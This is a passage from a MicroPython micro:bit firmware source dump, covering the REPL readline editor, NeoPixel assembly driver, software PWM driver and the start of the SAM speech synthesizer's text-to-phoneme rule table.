microbit_repeat_iter_next(mp_obj_t iter_in) { repeat_iterator_t *iter = (repeat_iterator_t *)iter_in; iter->index++; if (iter->index >= mp_obj_get_int(mp_obj_len(iter->iterable))) { iter->index = 0; } return mp_obj_subscr(iter->iterable, MP_OBJ_NEW_SMALL_INT(iter->index), MP_OBJ_SENTINEL); } const mp_obj_type_t microbit_repeat_iterator_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = mp_identity_getiter, .iternext = microbit_repeat_iter_next, }; mp_obj_t microbit_repeat_iterator(mp_obj_t iterable) { repeat_iterator_t *result = m_new_obj(repeat_iterator_t); result->base.type = µbit_repeat_iterator_type; result->iterable = iterable; result->index = -1; return result; } ================================================ FILE: micropython/source/lib/mp-readline/readline.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpstate.h" #include "py/repl.h" #include "py/mphal.h" #include "lib/mp-readline/readline.h" #if 0 // print debugging info #define DEBUG_PRINT (1) #define DEBUG_printf printf #else // don't print debugging info #define DEBUG_printf(...) (void)0 #endif #define READLINE_HIST_SIZE (MP_ARRAY_SIZE(MP_STATE_PORT(readline_hist))) enum { ESEQ_NONE, ESEQ_ESC, ESEQ_ESC_BRACKET, ESEQ_ESC_BRACKET_DIGIT, ESEQ_ESC_O }; void readline_init0(void) { memset(MP_STATE_PORT(readline_hist), 0, READLINE_HIST_SIZE * sizeof(const char*)); } STATIC char *str_dup_maybe(const char *str) { uint32_t len = strlen(str); char *s2 = m_new_maybe(char, len + 1); if (s2 == NULL) { return NULL; } memcpy(s2, str, len + 1); return s2; } // By default assume terminal which implements VT100 commands... #ifndef MICROPY_HAL_HAS_VT100 #define MICROPY_HAL_HAS_VT100 (1) #endif // ...and provide the implementation using them #if MICROPY_HAL_HAS_VT100 STATIC void mp_hal_move_cursor_back(uint pos) { if (pos <= 4) { // fast path for most common case of 1 step back mp_hal_stdout_tx_strn("\b\b\b\b", pos); } else { char vt100_command[6]; // snprintf needs space for the terminating null character int n = snprintf(&vt100_command[0], sizeof(vt100_command), "\x1b[%u", pos); if (n > 0) { vt100_command[n] = 'D'; // replace null char mp_hal_stdout_tx_strn(vt100_command, n + 1); } } } STATIC void mp_hal_erase_line_from_cursor(uint n_chars_to_erase) { (void)n_chars_to_erase; mp_hal_stdout_tx_strn("\x1b[K", 3); } #endif typedef struct _readline_t { vstr_t *line; size_t orig_line_len; int escape_seq; int hist_cur; size_t cursor_pos; char escape_seq_buf[1]; const char *prompt; } readline_t; STATIC readline_t rl; int readline_process_char(int c) { size_t last_line_len = rl.line->len; int redraw_step_back = 0; bool redraw_from_cursor = false; int redraw_step_forward = 0; if (rl.escape_seq == ESEQ_NONE) { if (CHAR_CTRL_A <= c && c <= CHAR_CTRL_E && vstr_len(rl.line) == rl.orig_line_len) { // control character with empty line return c; } else if (c == CHAR_CTRL_A) { // CTRL-A with non-empty line is go-to-start-of-line goto home_key; #if MICROPY_REPL_EMACS_KEYS } else if (c == CHAR_CTRL_B) { // CTRL-B with non-empty line is go-back-one-char goto left_arrow_key; #endif } else if (c == CHAR_CTRL_C) { // CTRL-C with non-empty line is cancel return c; #if MICROPY_REPL_EMACS_KEYS } else if (c == CHAR_CTRL_D) { // CTRL-D with non-empty line is delete-at-cursor goto delete_key; #endif } else if (c == CHAR_CTRL_E) { // CTRL-E is go-to-end-of-line goto end_key; #if MICROPY_REPL_EMACS_KEYS } else if (c == CHAR_CTRL_F) { // CTRL-F with non-empty line is go-forward-one-char goto right_arrow_key; } else if (c == CHAR_CTRL_K) { // CTRL-K is kill from cursor to end-of-line, inclusive vstr_cut_tail_bytes(rl.line, last_line_len - rl.cursor_pos); // set redraw parameters redraw_from_cursor = true; } else if (c == CHAR_CTRL_N) { // CTRL-N is go to next line in history goto down_arrow_key; } else if (c == CHAR_CTRL_P) { // CTRL-P is go to previous line in history goto up_arrow_key; } else if (c == CHAR_CTRL_U) { // CTRL-U is kill from beginning-of-line up to cursor vstr_cut_out_bytes(rl.line, rl.orig_line_len, rl.cursor_pos - rl.orig_line_len); // set redraw parameters redraw_step_back = rl.cursor_pos - rl.orig_line_len; redraw_from_cursor = true; #endif } else if (c == '\r') { // newline mp_hal_stdout_tx_str("\r\n"); readline_push_history(vstr_null_terminated_str(rl.line) + rl.orig_line_len); return 0; } else if (c == 27) { // escape sequence rl.escape_seq = ESEQ_ESC; } else if (c == 8 || c == 127) { // backspace/delete if (rl.cursor_pos > rl.orig_line_len) { // work out how many chars to backspace #if MICROPY_REPL_AUTO_INDENT int nspace = 0; for (size_t i = rl.orig_line_len; i < rl.cursor_pos; i++) { if (rl.line->buf[i] != ' ') { nspace = 0; break; } nspace += 1; } if (nspace < 4) { nspace = 1; } else { nspace = 4; } #else int nspace = 1; #endif // do the backspace vstr_cut_out_bytes(rl.line, rl.cursor_pos - nspace, nspace); // set redraw parameters redraw_step_back = nspace; redraw_from_cursor = true; } #if MICROPY_HELPER_REPL } else if (c == 9) { // tab magic const char *compl_str; size_t compl_len = mp_repl_autocomplete(rl.line->buf + rl.orig_line_len, rl.cursor_pos - rl.orig_line_len, &mp_plat_print, &compl_str); if (compl_len == 0) { // no match } else if (compl_len == (size_t)(-1)) { // many matches mp_hal_stdout_tx_str(rl.prompt); mp_hal_stdout_tx_strn(rl.line->buf + rl.orig_line_len, rl.cursor_pos - rl.orig_line_len); redraw_from_cursor = true; } else { // one match for (size_t i = 0; i < compl_len; ++i) { vstr_ins_byte(rl.line, rl.cursor_pos + i, *compl_str++); } // set redraw parameters redraw_from_cursor = true; redraw_step_forward = compl_len; } #endif } else if (32 <= c && c <= 126) { // printable character vstr_ins_char(rl.line, rl.cursor_pos, c); // set redraw parameters redraw_from_cursor = true; redraw_step_forward = 1; } } else if (rl.escape_seq == ESEQ_ESC) { switch (c) { case '[': rl.escape_seq = ESEQ_ESC_BRACKET; break; case 'O': rl.escape_seq = ESEQ_ESC_O; break; default: DEBUG_printf("(ESC %d)", c); rl.escape_seq = ESEQ_NONE; } } else if (rl.escape_seq == ESEQ_ESC_BRACKET) { if ('0' <= c && c <= '9') { rl.escape_seq = ESEQ_ESC_BRACKET_DIGIT; rl.escape_seq_buf[0] = c; } else { rl.escape_seq = ESEQ_NONE; if (c == 'A') { #if MICROPY_REPL_EMACS_KEYS up_arrow_key: #endif // up arrow if (rl.hist_cur + 1 < (int)READLINE_HIST_SIZE && MP_STATE_PORT(readline_hist)[rl.hist_cur + 1] != NULL) { // increase hist num rl.hist_cur += 1; // set line to history rl.line->len = rl.orig_line_len; vstr_add_str(rl.line, MP_STATE_PORT(readline_hist)[rl.hist_cur]); // set redraw parameters redraw_step_back = rl.cursor_pos - rl.orig_line_len; redraw_from_cursor = true; redraw_step_forward = rl.line->len - rl.orig_line_len; } } else if (c == 'B') { #if MICROPY_REPL_EMACS_KEYS down_arrow_key: #endif // down arrow if (rl.hist_cur >= 0) { // decrease hist num rl.hist_cur -= 1; // set line to history vstr_cut_tail_bytes(rl.line, rl.line->len - rl.orig_line_len); if (rl.hist_cur >= 0) { vstr_add_str(rl.line, MP_STATE_PORT(readline_hist)[rl.hist_cur]); } // set redraw parameters redraw_step_back = rl.cursor_pos - rl.orig_line_len; redraw_from_cursor = true; redraw_step_forward = rl.line->len - rl.orig_line_len; } } else if (c == 'C') { #if MICROPY_REPL_EMACS_KEYS right_arrow_key: #endif // right arrow if (rl.cursor_pos < rl.line->len) { redraw_step_forward = 1; } } else if (c == 'D') { #if MICROPY_REPL_EMACS_KEYS left_arrow_key: #endif // left arrow if (rl.cursor_pos > rl.orig_line_len) { redraw_step_back = 1; } } else if (c == 'H') { // home goto home_key; } else if (c == 'F') { // end goto end_key; } else { DEBUG_printf("(ESC [ %d)", c); } } } else if (rl.escape_seq == ESEQ_ESC_BRACKET_DIGIT) { if (c == '~') { if (rl.escape_seq_buf[0] == '1' || rl.escape_seq_buf[0] == '7') { home_key: redraw_step_back = rl.cursor_pos - rl.orig_line_len; } else if (rl.escape_seq_buf[0] == '4' || rl.escape_seq_buf[0] == '8') { end_key: redraw_step_forward = rl.line->len - rl.cursor_pos; } else if (rl.escape_seq_buf[0] == '3') { // delete #if MICROPY_REPL_EMACS_KEYS delete_key: #endif if (rl.cursor_pos < rl.line->len) { vstr_cut_out_bytes(rl.line, rl.cursor_pos, 1); redraw_from_cursor = true; } } else { DEBUG_printf("(ESC [ %c %d)", rl.escape_seq_buf[0], c); } } else { DEBUG_printf("(ESC [ %c %d)", rl.escape_seq_buf[0], c); } rl.escape_seq = ESEQ_NONE; } else if (rl.escape_seq == ESEQ_ESC_O) { switch (c) { case 'H': goto home_key; case 'F': goto end_key; default: DEBUG_printf("(ESC O %d)", c); rl.escape_seq = ESEQ_NONE; } } else { rl.escape_seq = ESEQ_NONE; } // redraw command prompt, efficiently if (redraw_step_back > 0) { mp_hal_move_cursor_back(redraw_step_back); rl.cursor_pos -= redraw_step_back; } if (redraw_from_cursor) { if (rl.line->len < last_line_len) { // erase old chars mp_hal_erase_line_from_cursor(last_line_len - rl.cursor_pos); } // draw new chars mp_hal_stdout_tx_strn(rl.line->buf + rl.cursor_pos, rl.line->len - rl.cursor_pos); // move cursor forward if needed (already moved forward by length of line, so move it back) mp_hal_move_cursor_back(rl.line->len - (rl.cursor_pos + redraw_step_forward)); rl.cursor_pos += redraw_step_forward; } else if (redraw_step_forward > 0) { // draw over old chars to move cursor forwards mp_hal_stdout_tx_strn(rl.line->buf + rl.cursor_pos, redraw_step_forward); rl.cursor_pos += redraw_step_forward; } return -1; } #if MICROPY_REPL_AUTO_INDENT STATIC void readline_auto_indent(void) { vstr_t *line = rl.line; if (line->len > 1 && line->buf[line->len - 1] == '\n') { int i; for (i = line->len - 1; i > 0; i--) { if (line->buf[i - 1] == '\n') { break; } } size_t j; for (j = i; j < line->len; j++) { if (line->buf[j] != ' ') { break; } } // i=start of line; j=first non-space if (i > 0 && j + 1 == line->len) { // previous line is not first line and is all spaces for (size_t k = i - 1; k > 0; --k) { if (line->buf[k - 1] == '\n') { // don't auto-indent if last 2 lines are all spaces return; } else if (line->buf[k - 1] != ' ') { // 2nd previous line is not all spaces break; } } } int n = (j - i) / 4; if (line->buf[line->len - 2] == ':') { n += 1; } while (n-- > 0) { vstr_add_strn(line, " ", 4); mp_hal_stdout_tx_strn(" ", 4); rl.cursor_pos += 4; } } } #endif void readline_note_newline(const char *prompt) { rl.orig_line_len = rl.line->len; rl.cursor_pos = rl.orig_line_len; rl.prompt = prompt; mp_hal_stdout_tx_str(prompt); #if MICROPY_REPL_AUTO_INDENT readline_auto_indent(); #endif } void readline_init(vstr_t *line, const char *prompt) { rl.line = line; rl.orig_line_len = line->len; rl.escape_seq = ESEQ_NONE; rl.escape_seq_buf[0] = 0; rl.hist_cur = -1; rl.cursor_pos = rl.orig_line_len; rl.prompt = prompt; mp_hal_stdout_tx_str(prompt); #if MICROPY_REPL_AUTO_INDENT readline_auto_indent(); #endif } int readline(vstr_t *line, const char *prompt) { readline_init(line, prompt); for (;;) { int c = mp_hal_stdin_rx_chr(); int r = readline_process_char(c); if (r >= 0) { return r; } } } void readline_push_history(const char *line) { if (line[0] != '\0' && (MP_STATE_PORT(readline_hist)[0] == NULL || strcmp(MP_STATE_PORT(readline_hist)[0], line) != 0)) { // a line which is not empty and different from the last one // so update the history char *most_recent_hist = str_dup_maybe(line); if (most_recent_hist != NULL) { for (int i = READLINE_HIST_SIZE - 1; i > 0; i--) { MP_STATE_PORT(readline_hist)[i] = MP_STATE_PORT(readline_hist)[i - 1]; } MP_STATE_PORT(readline_hist)[0] = most_recent_hist; } } } ================================================ FILE: micropython/source/lib/neopixelsend.s ================================================ /* Portions of this code based on code provided under MIT license from Microsoft https://github.com/Microsoft/pxt-ws2812b MIT License Copyright (c) Microsoft Corporation. All rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.' THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE */ .global sendNeopixelBuffer /* declared as extern void sendBuffer(uint32_t pin, uint8_t* data_address, uint16_t num_leds) */ sendNeopixelBuffer: push {r0, r1, r2, r3, r4, r5, r6} /* We are expecting from the callee: r0 = pinmask to waggle in the GPIO register r1 = address of the data we are supposed to be sending r2 = number of LEDs Setup the initial values r1 = Pin mask in the GPIO register r2 = GPIO clear register r3 = GPIO SET r4 = Address pointer for the data - we cast this as a byte earlier because it really is. r5 = Length of the data (number of LEDS * 3 bytes per LED) - If trying to add RGB+W this sum might need to be done conditionally r6 = Parallel to serial conversion mask */ mov r4, r1 mov r6, #3 mul r6, r2, r6 mov r5, r6 /*load the pin set and clr addresses by a cunning combo of shifts and adds*/ movs r3, #160 movs r1, #0x0c lsl r3, r3, #15 add r3, #05 lsl r3, r3, #8 add r2, r3, r1 add r3, #0x08 mov r1, r0 /* finally move the pin mask from r0 to r1*/ /* This code serialises the data bits for each LED. The data byte is loaded in the common section (label .common) and then each bit is masked and tested for '0' (label .nextbit) If it is a '0' we turn off the pin asap and then move to the code that advances to the next bit/byte. If a '1' we leave the pin on and do the same thing. If the mask (r6) is still valid then we are still moving out the current byte, so repeat. If it is '0' then we have done this byte and need to load the next byte from the pointer in r4. r5 contains the count of bytes - calculated above from num LEDs * 3 bytes per LED. --If this code needs to do RGB+W LEDS then that will need to be addressed. Once we run r5 down to '0' we exit the data shifting and return. */ mrs r6, PRIMASK /* disable interrupts whilst we mess with timing critical waggling. */ push {r6} cpsid i b .start .nextbit: str r1, [r3, #0] tst r6, r0 bne .bitisone str r1, [r2, #0] .bitisone: lsr r6, #1 bne .justbit add r4, #1 sub r5, #1 beq .stop .start: movs r6, #0x80 nop .common: str r1, [r2, #0] ldrb r0, [r4, #0] b .nextbit .justbit: b .common .stop: str r1, [r2, #0] pop {r6} msr PRIMASK, r6 pop {r0, r1, r2, r3, r4, r5, r6} bx lr ================================================ FILE: micropython/source/lib/pwm.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * Copyright (c) 2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "stddef.h" #include "lib/ticker.h" #include "nrf_gpio.h" #include "py/runtime.h" #include "py/gc.h" #define PWM_TICKER_INDEX 2 // The maximum number of pins that can have PWM at once, plus 1 for OFF_EVENT #define PWM_MAX_PINS (20) // Default period of 20ms #define DEFAULT_PERIOD ((20*1000)/MICROSECONDS_PER_TICK) typedef struct _pwm_event { uint16_t time : 11; uint16_t pin : 5; } pwm_event; typedef struct _pwm_events { uint8_t count; uint16_t period; uint32_t all_pins; pwm_event events[PWM_MAX_PINS]; } pwm_events; static const pwm_events OFF_EVENTS = { .count = 1, .period = DEFAULT_PERIOD, .all_pins = 0, .events = { { .time = 1024, .pin = 31, } } }; // Data in RAM to hold the PWM events, double buffered static pwm_events pwm_events_buf0; static pwm_events pwm_events_buf1; // Pointers to active and pending event buffers static const pwm_events *active_events; static const pwm_events *pending_events; // Index inte the events array of the active_events buffer static uint8_t next_event; void pwm_init(void) { active_events = &OFF_EVENTS; pending_events = NULL; next_event = 0; } static inline int32_t pwm_get_period_ticks(void) { const pwm_events *tmp = pending_events; if (tmp == NULL) tmp = active_events; return tmp->period; } #if 0 void pwm_dump_events(const pwm_events *events) { printf("Count %d, period %d, all pins %d\r\n", events->count, events->period, events->all_pins); for (uint32_t i = 0; i < events->count; i++) { const pwm_event *event = &events->events[i]; printf("Event. pin: %d, duty cycle: %d\r\n", event->pin, event->time); } } void pwm_dump_state(void) { while(pending_events); pwm_dump_events(active_events); } #endif static pwm_events *get_pending_for_update(void) { // Atomically take the pending events __disable_irq(); const pwm_events *orig = pending_events; pending_events = NULL; __enable_irq(); // If the pending events were not NULL then they can be now used for update if (orig != NULL) { return (pwm_events*)orig; // Will be one of buf0 or buf1, in RAM } // Pending events were NULL so make a copy of active ones and return them orig = active_events; pwm_events *events; if (orig == &pwm_events_buf0) { events = &pwm_events_buf1; } else { events = &pwm_events_buf0; } events->count = orig->count; events->period = orig->period; events->all_pins = orig->all_pins; for (uint32_t i = 0; i < orig->count; i++) { events->events[i] = orig->events[i]; } return events; } static int find_pin_in_events(const pwm_events *events, uint32_t pin) { for (int i = 0; i < events->count; i++) { if (events->events[i].pin == pin) return i; } return -1; } static void sort_events(pwm_events *events) { // Insertion sort for (int32_t i = 1; i < events->count; i++) { pwm_event x = events->events[i]; int32_t j; for (j = i - 1; j >= 0 && events->events[j].time > x.time; j--) { events->events[j+1] = events->events[j]; } events->events[j+1] = x; } } int32_t pwm_callback(void) { int32_t tdiff; const pwm_events *events = active_events; const pwm_event *event = &events->events[next_event]; int32_t tnow = (event->time*events->period)>>10; do { if (event->pin < 31) { // Event is to turn on a specific pin nrf_gpio_pin_set(event->pin); next_event++; } else { // Event is to turn off all pins and start period again nrf_gpio_pins_clear(events->all_pins); next_event = 0; tnow = 0; if (pending_events) { events = pending_events; active_events = events; pending_events = NULL; } } event = &events->events[next_event]; tdiff = ((event->time*events->period)>>10) - tnow; } while (tdiff == 0); return tdiff; } void pwm_start(void) { set_ticker_callback(PWM_TICKER_INDEX, pwm_callback, 120); } void pwm_stop(void) { clear_ticker_callback(PWM_TICKER_INDEX); } static void pwm_set_period_ticks(int32_t ticks) { pwm_events *events = get_pending_for_update(); events->period = ticks; pending_events = events; } int pwm_set_period_us(int32_t us) { if ((us < 256) || (us > 1000000)) { return -1; } pwm_set_period_ticks(us/MICROSECONDS_PER_TICK); return 0; } int32_t pwm_get_period_us(void) { return pwm_get_period_ticks()*MICROSECONDS_PER_TICK; } void pwm_set_duty_cycle(int32_t pin, uint32_t value) { if (value >= (1<<10)) { value = (1<<10)-1; } uint32_t turn_on_time = 1024-value; pwm_events *events = get_pending_for_update(); // If pin is not already in PWM list then set its GPIO as output if (((1 << pin) & events->all_pins) == 0) { nrf_gpio_cfg_output(pin); } int ev = find_pin_in_events(events, pin); if (ev < 0 && value == 0) { // Pin not in PWM mode and set to 0 duty, so nothing to do pending_events = events; return; } else if (ev < 0) { // Pin not in PWM mode, so add it to the list if (events->count >= PWM_MAX_PINS) { // No more room left for another PWM, so must ignore this pin! pending_events = events; return; } events->all_pins |= 1 << pin; events->events[events->count].time = turn_on_time; events->events[events->count].pin = pin; events->count += 1; } else if (value == 0) { // Pin in PWM mode and set to 0 duty, so remove it from the list events->count -= 1; events->all_pins &= ~(1 << pin); if (ev < events->count) { events->events[ev] = events->events[events->count]; } } else { // Pin in PWM mode, change duty cycle events->events[ev].time = turn_on_time; } sort_events(events); pending_events = events; } void pwm_release(int32_t pin) { pwm_set_duty_cycle(pin, 0); const pwm_events *ev = active_events; int i = find_pin_in_events(ev, pin); if (i < 0) return; // If i >= 0 it means that `ev` is in RAM, so it safe to discard the const qualifier ((pwm_events *)ev)->events[i].pin = 31; nrf_gpio_pin_clear(pin); } ================================================ FILE: micropython/source/lib/sam/ReciterTabs.h ================================================ #ifndef RECITERTABS_H #define RECITERTABS_H //some flags const unsigned char tab36376[] = { 0, 0, 0, 0, 0, 0, 0, 0, // 0-7 0, 0, 0, 0, 0, 0, 0, 0, // 8-15 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 130, // ' ', '!' 0, 0, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 192, 168, 176, 172, 192, 160, 184, // '@', 'A' 160, 192, 188, 160, 172, 168, 172, 192, 160, 160, 172, 180, 164, 192, 168, 168, 176, 192, 188, 0, 0, 0, 2, 0, // 'X', 'Y', 'Z', '[', 32, 32, 155, 32, 192, 185, 32, 205, 163, 76, 138, 142 }; const char rules[] = { ']','A'|0x80, ' ','(','A','.',')', '=','E','H','4','Y','.',' '|0x80, '(','A',')',' ', '=','A','H'|0x80, ' ','(','A','R','E',')',' ', '=','A','A','R'|0x80, ' ','(','A','R',')','O', '=','A','X','R'|0x80, '(','A','R',')','#', '=','E','H','4','R'|0x80, ' ','^','(','A','S',')','#', '=','E','Y','4','S'|0x80, '(','A',')','W','A', '=','A','X'|0x80, '(','A','W',')', '=','A','O','5'|0x80, ' ',':','(','A','N','Y',')', '=','E','H','4','N','I','Y'|0x80, '(','A',')','^','+','#', '=','E','Y','5'|0x80, '#',':','(','A','L','L','Y',')', '=','U','L','I','Y'|0x80, ' ','(','A','L',')','#', '=','U','L'|0x80, '(','A','G','A','I','N',')', '=','A','X','G','E','H','4','N'|0x80, '#',':','(','A','G',')','E', '=','I','H','J'|0x80, '(','A',')','^','%', '=','E','Y'|0x80, '(','A',')','^','+',':','#', '=','A','E'|0x80, ' ',':','(','A',')','^','+',' ', '=','E','Y','4'|0x80, ' ','(','A','R','R',')', '=','A','X','R'|0x80, '(','A','R','R',')', '=','A','E','4','R'|0x80, ' ','^','(','A','R',')',' ', '=','A','A','5','R'|0x80, '(','A','R',')', '=','A','A','5','R'|0x80, '(','A','I','R',')', '=','E','H','4','R'|0x80, '(','A','I',')', '=','E','Y','4'|0x80, '(','A','Y',')', '=','E','Y','5'|0x80, '(','A','U',')', '=','A','O','4'|0x80, '#',':','(','A','L',')',' ', '=','U','L'|0x80, '#',':','(','A','L','S',')',' ', '=','U','L','Z'|0x80, '(','A','L','K',')', '=','A','O','4','K'|0x80, '(','A','L',')','^', '=','A','O','L'|0x80, ' ',':','(','A','B','L','E',')', '=','E','Y','4','B','U','L'|0x80, '(','A','B','L','E',')', '=','A','X','B','U','L'|0x80, '(','A',')','V','O', '=','E','Y','4'|0x80, '(','A','N','G',')','+', '=','E','Y','4','N','J'|0x80, '(','A','T','A','R','I',')', '=','A','H','T','A','A','4','R','I','Y'|0x80, '(','A',')','T','O','M', '=','A','E'|0x80, '(','A',')','T','T','I', '=','A','E'|0x80, ' ','(','A','T',')',' ', '=','A','E','T'|0x80, ' ','(','A',')','T', '=','A','H'|0x80, '(','A',')', '=','A','E'|0x80, ']','B'|0x80, ' ','(','B',')',' ', '=','B','I','Y','4'|0x80, ' ','(','B','E',')','^','#', '=','B','I','H'|0x80, '(','B','E','I','N','G',')', '=','B','I','Y','4','I','H','N','X'|0x80, ' ','(','B','O','T','H',')',' ', '=','B','O','W','4','T','H'|0x80, ' ','(','B','U','S',')','#', '=','B','I','H','4','Z'|0x80, '(','B','R','E','A','K',')', '=','B','R','E','Y','5','K'|0x80, '(','B','U','I','L',')', '=','B','I','H','4','L'|0x80, '(','B',')', '=','B'|0x80, ']','C'|0x80, ' ','(','C',')',' ', '=','S','I','Y','4'|0x80, ' ','(','C','H',')','^', '=','K'|0x80, '^','E','(','C','H',')', '=','K'|0x80, '(','C','H','A',')','R','#', '=','K','E','H','5'|0x80, '(','C','H',')', '=','C','H'|0x80, ' ','S','(','C','I',')','#', '=','S','A','Y','4'|0x80, '(','C','I',')','A', '=','S','H'|0x80, '(','C','I',')','O', '=','S','H'|0x80, '(','C','I',')','E','N', '=','S','H'|0x80, '(','C','I','T','Y',')', '=','S','I','H','T','I','Y'|0x80, '(','C',')','+', '=','S'|0x80, '(','C','K',')', '=','K'|0x80, '(','C','O','M','M','O','D','O','R','E',')','=','K','A','A','4','M','A','H','D','O','H','R'|0x80, '(','C','O','M',')', '=','K','A','H','M'|0x80, '(','C','U','I','T',')', '=','K','I','H','T'|0x80, '(','C','R','E','A',')', '=','K','R','I','Y','E','Y'|0x80, '(','C',')', '=','K'|0x80, ']','D'|0x80, ' ','(','D',')',' ', '=','D','I','Y','4'|0x80, ' ','(','D','R','.',')',' ', '=','D','A','A','4','K','T','E','R'|0x80, '#',':','(','D','E','D',')',' ', '=','D','I','H','D'|0x80, '.','E','(','D',')',' ', '=','D'|0x80, '#',':','^','E','(','D',')',' ', '=','T'|0x80, ' ','(','D','E',')','^','#', '=','D','I','H'|0x80, ' ','(','D','O',')',' ', '=','D','U','W'|0x80, ' ','(','D','O','E','S',')', '=','D','A','H','Z'|0x80, '(','D','O','N','E',')',' ', '=','D','A','H','5','N'|0x80, '(','D','O','I','N','G',')', '=','D','U','W','4','I','H','N','X'|0x80, ' ','(','D','O','W',')', '=','D','A','W'|0x80, '#','(','D','U',')','A', '=','J','U','W'|0x80, '#','(','D','U',')','^','#', '=','J','A','X'|0x80, '(','D',')', '=','D'|0x80, ']','E'|0x80, ' ','(','E',')',' ', '=','I','Y','I','Y','4'|0x80, '#',':','(','E',')',' ','='|0x80, '\'',':','^','(','E',')',' ','='|0x80, ' ',':','(','E',')',' ', '=','I','Y'|0x80, '#','(','E','D',')',' ', '=','D'|0x80, '#',':','(','E',')','D',' ','='|0x80, '(','E','V',')','E','R', '=','E','H','4','V'|0x80, '(','E',')','^','%', '=','I','Y','4'|0x80, '(','E','R','I',')','#', '=','I','Y','4','R','I','Y'|0x80, '(','E','R','I',')', '=','E','H','4','R','I','H'|0x80, '#',':','(','E','R',')','#', '=','E','R'|0x80, '(','E','R','R','O','R',')', '=','E','H','4','R','O','H','R'|0x80, '(','E','R','A','S','E',')', '=','I','H','R','E','Y','5','S'|0x80, '(','E','R',')','#', '=','E','H','R'|0x80, '(','E','R',')', '=','E','R'|0x80, ' ','(','E','V','E','N',')', '=','I','Y','V','E','H','N'|0x80, '#',':','(','E',')','W','='|0x80, '@','(','E','W',')', '=','U','W'|0x80, '(','E','W',')', '=','Y','U','W'|0x80, '(','E',')','O', '=','I','Y'|0x80, '#',':','&','(','E','S',')',' ', '=','I','H','Z'|0x80, '#',':','(','E',')','S',' ','='|0x80, '#',':','(','E','L','Y',')',' ', '=','L','I','Y'|0x80, '#',':','(','E','M','E','N','T',')', '=','M','E','H','N','T'|0x80, '(','E','F','U','L',')', '=','F','U','H','L'|0x80, '(','E','E',')', '=','I','Y','4'|0x80, '(','E','A','R','N',')', '=','E','R','5','N'|0x80, ' ','(','E','A','R',')','^', '=','E','R','5'|0x80, '(','E','A','D',')', '=','E','H','D'|0x80, '#',':','(','E','A',')',' ', '=','I','Y','A','X'|0x80, '(','E','A',')','S','U', '=','E','H','5'|0x80, '(','E','A',')', '=','I','Y','5'|0x80, '(','E','I','G','H',')', '=','E','Y','4'|0x80, '(','E','I',')', '=','I','Y','4'|0x80, ' ','(','E','Y','E',')', '=','A','Y','4'|0x80, '(','E','Y',')', '=','I','Y'|0x80, '(','E','U',')', '=','Y','U','W','5'|0x80, '(','E','Q','U','A','L',')', '=','I','Y','4','K','W','U','L'|0x80, '(','E',')', '=','E','H'|0x80, ']','F'|0x80, ' ','(','F',')',' ', '=','E','H','4','F'|0x80, '(','F','U','L',')', '=','F','U','H','L'|0x80, '(','F','R','I','E','N','D',')', '=','F','R','E','H','5','N','D'|0x80, '(','F','A','T','H','E','R',')', '=','F','A','A','4','D','H','E','R'|0x80, '(','F',')','F','='|0x80, '(','F',')', '=','F'|0x80, ']','G'|0x80, ' 